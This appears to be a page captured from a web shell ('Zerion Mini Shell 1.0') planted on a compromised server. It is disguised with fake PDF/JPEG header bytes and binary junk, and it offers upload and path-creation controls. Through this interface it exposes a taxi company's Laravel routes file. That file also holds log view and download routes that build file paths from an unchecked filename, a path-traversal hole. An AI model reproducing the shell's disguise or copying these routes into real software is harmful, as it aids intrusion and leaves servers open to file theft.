%PDF- %PDF- ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
Mini Shell

Mini Shell

Direktori : /var/www/html/ctctaxi/routes/
Upload File :
Create Path :
Current File : /var/www/html/ctctaxi/routes/web.php

<?php
use Illuminate\Support\Facades\Session;
use App\Http\Controllers\PdfGeneratorController;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/


/*
 * These routes use the root namespace 'App\Http\Controllers\Web'.
 */

Route::get('/clear', function () {
    $artisan = Artisan::call('optimize:clear');
    if ($artisan === 0) {
        echo "Cache Cleared Successfully";
    } else {
        echo "An error Occurred";
    }
});

Route::post('/store', 'ndlController@store');
Route::get('/ndl','ndlController@ndl');
Route::post('/lstore', 'lasdriController@store');
Route::get('/lasdri','lasdriController@ndl');

Route::namespace('Web')->group(function () {

    // All the folder based web routes
    include_route_files('web');


    Route::get('/', 'FrontPageController@index')->name('index');
    Route::get('/driverpage', 'FrontPageController@driverp')->name('driverpage');
    Route::get('/howdriving', 'FrontPageController@howdrive')->name('howdriving');
    Route::get('/driverrequirements', 'FrontPageController@driverrequirement')->name('driverrequirements');
    Route::get('/safety', 'FrontPageController@safetypage')->name('safety');
    Route::get('/serviceareas', 'FrontPageController@serviceareaspage')->name('serviceareas');
    Route::get('/compliance', 'FrontPageController@complaincepage')->name('complaince');
    Route::get('/privacy', 'FrontPageController@privacypage')->name('privacy');
    Route::get('/terms', 'FrontPageController@termspage')->name('terms');
    Route::get('/dmv', 'FrontPageController@dmvpage')->name('dmv');
    Route::get('/contactus', 'FrontPageController@contactuspage')->name('contactus');
    Route::post('/contactussendmail','FrontPageController@contactussendmailadd')->name('contactussendmail');


    Route::get('mercadopago-checkout',function(){
        return view('mercadopago.checkout');
    });

    Route::get('sadad-checkout',function(){
        return view('sadad.checkout');
    });


    Route::get('get-country-data','FrontPageController@country_code');
    // Route::get('mercadopago-success','MercadopagoController@success');
    Route::post('flutter-wave','MercadopagoController@flutterWaveSuceess');


//payment
    Route::get('payment','FrontPageController@payment');


//paypall
    // paypal?amount=100&payment_for=wallet&currency=USD&user_id=2&payment_for=wallet&request_id
    Route::get('paypal', 'PayPalController@index')->name('paypal');
    Route::post('paypal/payment', 'PayPalController@payment')->name('paypal.payment');
    Route::get('paypal/payment/success', 'PayPalController@paymentSuccess')->name('paypal.payment.success');
    Route::get('paypal/payment/cancel', 'PayPalController@paymentCancel')->name('paypal.payment/cancel');
//stripe
    // stripe?amount=100&payment_for=wallet&currency=USD&user_id=2&payment_for=wallet&request_id
    Route::get('stripe', 'StripeController@stripe');
    Route::post('stripe-checkout', 'StripeController@stripeCheckout')->name('checkout.process');
    Route::get('stripe-checkout-success', 'StripeController@stripeCheckoutSuccess')->name('checkout.success');
    Route::get('stripe-checkout-error', 'StripeController@stripeCheckoutError')->name('checkout.failure');
//fluterwave
    // flutterwave?amount=100&payment_for=wallet&currency=USD&user_id=2&payment_for=wallet&request_id
    Route::get('flutterwave', 'FlutterwaveController@index');
    Route::get('flutterwave/payment/success', 'FlutterwaveController@flutterwaveCheckout')->name('flutterwave.success');

//paystack
    // paystack?amount=100&payment_for=wallet&currency=USD&user_id=2&payment_for=wallet&request_id
    Route::get('paystack', 'PaystackController@index');
    Route::get('paystack/payment/success', 'PaystackController@paystackCheckout')->name('paystack.success');
//khalti
    Route::get('khalti', 'KhaltiController@index');
    Route::post('khalti/checkout', 'KhaltiController@khaltiCheckoutsuccess')->name('khalti.success');
//razorpay
    Route::get('/razorpay', 'RazorPayController@razorpay');
    Route::get('/payment-success', 'RazorPayController@razorpay_success')->name('razorpay.success');
//mercadopago
    // mercadopago?amount=100&payment_for=wallet&currency=USD&user_id=2&payment_for=wallet&request_id
    Route::get('mercadopago', 'MercadopagoController@mercadepago');
    Route::get('mercadopago/payment/success', 'MercadopagoController@mercadopagoCheckout')->name('mercadopago.success');


//ccavenue   Not completed
    // ccavenue?amount=100&payment_for=wallet&currency=USD&user_id=2&payment_for=wallet&request_id
    Route::get('ccavenue', 'CcavenueController@index');
    Route::post('ccavenue/checkout', 'CcavenueController@ccavenueCheckout')->name('ccavenue.checkout');
    Route::get('ccavenue/payment/success', 'CcavenueController@success')->name('ccavenue.payment.response');
    Route::get('ccavenue/payment/failure', 'CcavenueController@failure')->name('ccavenue.payment.cancel');

//cashfree   
    
    Route::get('cashfree', 'CashfreeController@create')->name('callback');
    Route::post('cashfree/payments/store', 'CashfreeController@store')->name('store');
    Route::any('cashfree/payments/success', 'CashfreeController@success')->name('cashfree.success');

    Route::view("success",'success');
    Route::view("failure",'failure');
    Route::view("pending",'pending');


//thawani pay

        Route::get('thawani-pay', 'ThawaniPayController@checkout')->name('checkout');
        Route::get('thawani-pay-success', 'ThawaniPayController@success')->name('thawani-pay-success');
        Route::get('thawani-pay-cancel', 'ThawaniPayController@cancel')->name('thawani-pay-cancel');




    // Website home route
    //Route::get('/', 'HomeController@index')->name('home');
});
Route::namespace('Web')->group(function () {
    Route::namespace('Admin')->group(function () {
        Route::get('html/{request_detail}','RequestController@EmailCustomerIvoiceDirect');
        Route::post('api/html', 'RequestController@generatePDF');
        Route::get('api/html/{id}', 'RequestController@EmailCustomerIvoiceDirect1');


        Route::post('/save-pdf', 'RequestController@savePdf');
        Route::post('/send-email', 'RequestController@sendEmail');
    });

});

// Add to your admin routes group
Route::group(['middleware' => ['auth'], 'prefix' => 'admin'], function () {
    // ... existing routes ...

// ADD THIS TEST ROUTE FIRST
    Route::get('test-logs', function() {
        return "Test route works! User: " . auth()->user()->name;
    });

// Add this with your other admin routes
Route::get('logs', function() {
    $logPath = storage_path('logs');
    $logFiles = [];
    
    if (is_dir($logPath)) {
        $files = scandir($logPath);
        foreach ($files as $file) {
            if (pathinfo($file, PATHINFO_EXTENSION) === 'log' || strpos($file, '.log.') !== false) {
                $filePath = $logPath . '/' . $file;
                if (is_file($filePath)) {
                    $logFiles[] = [
                        'name' => $file,
                        'size' => number_format(filesize($filePath) / 1024, 2) . ' KB',
                        'modified' => date('Y-m-d H:i:s', filemtime($filePath)),
                        'path' => $filePath
                    ];
                }
            }
        }
    }
    
    // Sort by modification time (newest first)
    usort($logFiles, function($a, $b) {
        return strcmp($b['modified'], $a['modified']);
    });
    
    return view('admin.logs', compact('logFiles'));
})->middleware('auth')->name('admin.logs');

// STEP 5 ROUTES (add these right after Step 3)
Route::get('logs/view/{filename}', function($filename) {
    $logPath = storage_path('logs/' . $filename);
    
    if (!file_exists($logPath) || !is_file($logPath)) {
        abort(404, 'Log file not found');
    }
    
    $content = file_get_contents($logPath);
    
    return response($content, 200)
        ->header('Content-Type', 'text/plain')
        ->header('Content-Disposition', 'inline; filename="' . $filename . '"');
})->middleware('auth');

Route::get('logs/download/{filename}', function($filename) {
    $logPath = storage_path('logs/' . $filename);
    
    if (!file_exists($logPath) || !is_file($logPath)) {
        abort(404, 'Log file not found');
    }
    
    return response()->download($logPath);
})->name('admin.logs.download');
});

Zerion Mini Shell 1.0